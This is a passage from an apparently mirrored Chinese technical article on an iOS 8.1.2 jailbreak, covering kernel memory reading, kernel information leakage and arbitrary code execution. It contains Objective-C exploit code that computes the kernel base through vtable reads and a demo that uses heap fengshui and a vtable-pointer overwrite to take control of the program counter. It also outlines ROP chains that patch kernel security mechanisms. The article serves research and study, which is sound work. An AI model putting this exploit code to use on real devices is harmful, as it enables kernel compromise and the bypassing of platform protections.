                vm_copy_struct_ptr->size = 0xA8; // 0xA8 = 256 - 0x58 = 168 = ool memory size
                vm_copy_struct_ptr->kdata = kobject_address;
                vm_copy_struct_ptr->kalloc_size = 0x100;
            }
    
            vm_copy_struct_ptr = (mach_vm_address_t)vm_copy_struct_ptr + 0x100;
        }
    }
    

    表23:控制溢位

  8. 直接接收訊息,核心資料就被讀到了使用者空間。

下面這個程式碼片段(來源於網路)可以列印讀到的內容,方便除錯核心讀:

#!cpp
void HexDump(char *description, void *addr, int len)
{
    int idx;
    unsigned char buff[17];
    unsigned char *pc = (unsigned char *)addr;

    // Output description if given.
    if (description != NULL)
        printf ("%s:\n", description);

    // Process every byte in the data.
    for (idx = 0; idx < len; idx++) {
        // Multiple of 16 means new line (with line offset).

        if ((idx % 16) == 0) {
            // Just don't print ASCII for the zeroth line.
            if (idx != 0)
                printf (" | %s\n", buff);

            // Output the offset.
            printf ("  %04X:", idx);
        }

        // Now the hex code for the specific character.
        printf (" %02X", pc[idx]);

        // And store a printable ASCII character for later.
        if ((pc[idx] < 0x20) || (pc[idx] > 0x7e))
            buff[idx % 16] = '.';
        else
            buff[idx % 16] = pc[idx];
        buff[(idx % 16) + 1] = '\0';
    }

    // Pad out last line if not exactly 16 characters.
    while ((idx % 16) != 0) {
        printf ("   ");
        idx++;
    }

    // And print the final ASCII bit.
    printf (" | %s\n", buff);
}

表24:列印記憶體內容

核心資訊洩露

核心資訊洩露是在核心讀基礎之上實現的,利用過程如下:

  1. 利用前面提到的核心資訊洩露漏洞得到某個核心物件的真實核心地址。
  2. 然後利用核心讀,讀取物件的內容內容。
  3. 從讀到的內容中,取出第一個 mach_vm_address_t 大小的值,這個值代表物件虛擬函式表的地址。
  4. 再次利用記憶體讀,讀虛擬函式表的內容。
  5. 從讀到的虛擬函式表的內容中選取一個函式指標。

最後,利用函式指標計算出核心的起始地址。這種方式沒辦法得到核心的結束地址,但是不影響越獄。

#!objc
- (mach_vm_address_t)getKernelBaseAddresses:
(mach_vm_address_t)hid_event_obj_kaddress
{
    // HID Event Object Memory Content
    unsigned char *hid_event_obj_content =
    [self readKernelMemoryAtAddress:hid_event_obj_kaddress + 0x1 size:0x100];
    unsigned long long *hid_event_service_queue_obj_ptr =
    (unsigned long long *)(hid_event_obj_content + 0xE0);

    // HID Event Service Queue Memory Content
    unsigned char *hid_event_service_queue_obj_content =
    [self readKernelMemoryAtAddress:*hid_event_service_queue_obj_ptr size:0x80];

    unsigned long long *hid_event_service_queue_vtable_ptr_0x10 =
    (unsigned long long *)(hid_event_service_queue_obj_content);
    unsigned char *hid_event_service_queue_vtable_content_0x10 =
    [self readKernelMemoryAtAddress:*hid_event_service_queue_vtable_ptr_0x10 size:0x18];

    unsigned long long *fifth_function_ptr_of_vtable =
    (unsigned long long *)(hid_event_service_queue_vtable_content_0x10 + 0x10);

    mach_vm_address_t kernel_base =
    ((*fifth_function_ptr_of_vtable - (0x200 << 12)) & 0xffffff80ffe00000) + 0x2000;

    return kernel_base;
}

表25:計算核心基地址

核心任意程式碼執行

核心任意程式碼執行與核心讀的利用思路相同,只是細節上有些差別,利用過程為:

  1. 利用記憶體對映,將一部分核心記憶體對映到使用者空間。
  2. 透過核心讀,計算出所對映的記憶體在核心中的真實地址。
  3. 構造一個虛擬函式表,填充到對映的記憶體中。
  4. 利用漏洞覆蓋小物件的記憶體,只是 Payload 構造的主要目標是改寫虛擬函式表指標。
  5. 呼叫 Hacked 的物件的方法,比如:釋放,這樣就控制了 PC 指標。

    #!objc
    - (void)arbitraryExecutationDemo
    {
        mach_port_name_t port_960 = 0;
        [self prepareReceivePort1:NULL port2:&port_960];
    
        io_connect_t fengshuiObjBuf[PRTS_ContinuousMemoryCount] = {0};
        mach_vm_address_t firstObjectKAddr = NULL;
        mach_vm_address_t lastObjectKAddr = NULL;
        [self allocObjects:fengshuiObjBuf
          firstObjectKAddr:&firstObjectKAddr
           lastObjectKAddr:&lastObjectKAddr];
    
        _fengshui_not_released_obj_count = PRTS_FengshuiObjectCountKeep;
    
        uint8_t ool_buf_960[0x400] = {0};
        [self constructArbitraryExePayload:ool_buf_960
                             vtableAddress:_fake_port_kernel_address_base];
    
        [self doFengshuiRelease2:fengshuiObjBuf];
        [self waitFengshuiService];
    
        [self triggerExploit];
    
        [self allocVMCopy:port_960
                     size:960
                   buffer:ool_buf_960
          descriptorCount:2];
    
        [self releaseResource];
    
        io_connect_t hacked_connection =
        fengshuiObjBuf[PRTS_ContinuousMemoryCount - _fengshui_not_released_obj_count - 1];
    
        printf("[+] start to trigger arbitrary executation, device will reboot\n");
        IOServiceClose(hacked_connection);
        [self waitFengshuiService];
        printf("[+] success to trigger arbitrary executation, device will reboot\n");
    }
    

表26:觸發任意程式碼執行

p10

圖10:改寫虛擬函式表的結果示例

在完成核心任意程式碼執行後,就可以進一步實現了核心寫,思路是:製造執行 memcpy 的 ROP Chain。

上面只是描述瞭如何利用漏洞,越獄工具還需要實現 Kernel Patch Finder,用來尋找 ROP Gadgets,然後構造出 ROP Chain,Patch 掉核心的相關安全機制。

八、修復、清理

越獄工具進行的修復、清理操作主要包括:

  1. 修復堆狀態,這是由於之前利用漏洞時破壞了堆狀態,不修復會造成核心不穩定。
  2. 修復使用者空間一些服務的狀態。

0x05 結束


上面介紹了越獄的過程,越獄所使用的漏洞,以及漏洞的利用思路,希望對大家有幫助。最後,還有幾點需要說明下:

  1. iOS 8.1.2 越獄過程中使用了 7 個漏洞,其中使用者空間 4 個,核心空間 3 個,可見過使用者空間的防禦是越獄過程中非常非常重要的部分,而且在使用者空間多是利用的邏輯漏洞,這種漏洞應該會越來越少。
  2. 上文只是介紹了漏洞,而實際越獄工具的開發中,產品化是一個重要方面,具體來說主要指:穩定性;相容性,可以看出開發一個好的越獄工具不是一件簡單的事情。

2015-06-25

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章